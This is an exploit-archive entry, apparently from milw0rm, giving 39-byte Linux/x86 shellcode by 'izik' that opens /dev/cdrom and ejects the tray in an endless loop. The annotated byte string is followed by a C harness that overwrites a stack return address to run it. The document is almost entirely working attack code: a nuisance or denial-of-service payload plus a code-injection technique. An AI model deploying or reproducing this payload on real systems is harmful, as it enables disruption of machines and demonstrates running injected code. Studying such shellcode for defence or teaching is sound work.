Linux/x86 - Eject CD-Rom Loop 24/7 (Follows /dev/cdrom Symlink) Shellcode (39 bytes)

Author: izik
type: 
platform: linux_x86
port: 39.0
date_added: 2006-01-20 
date_updated: 2017-07-11 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

/*
 * (linux/x86) 24/7 open cd-rom loop (follows "/dev/cdrom" symlink) - 39 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] =

	"\x6a\x05"              // push $0x5
	"\x58"                  // pop %eax
	"\x31\xc9"              // xor %ecx,%ecx
	"\x51"                  // push %ecx
	"\xb5\x08"              // mov $0x8,%ch
	"\x68\x64\x72\x6f\x6d"  // push $0x6d6f7264
	"\x68\x65\x76\x2f\x63"  // push $0x632f7665
	"\x68\x2f\x2f\x2f\x64"  // push $0x642f2f2f
	"\x89\xe3"              // mov %esp,%ebx
	"\xcd\x80"              // int $0x80
	"\x89\xc3"              // mov %eax,%ebx
	"\x66\xb9\x09\x53"      // mov $0x5309,%cx

	//
	// <_openit>:
	//

	"\xb0\x36"              // mov $0x36,%al
	"\xcd\x80"              // int $0x80
	"\xeb\xfa";             // jmp <_openit>

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// milw0rm.com [2006-01-21]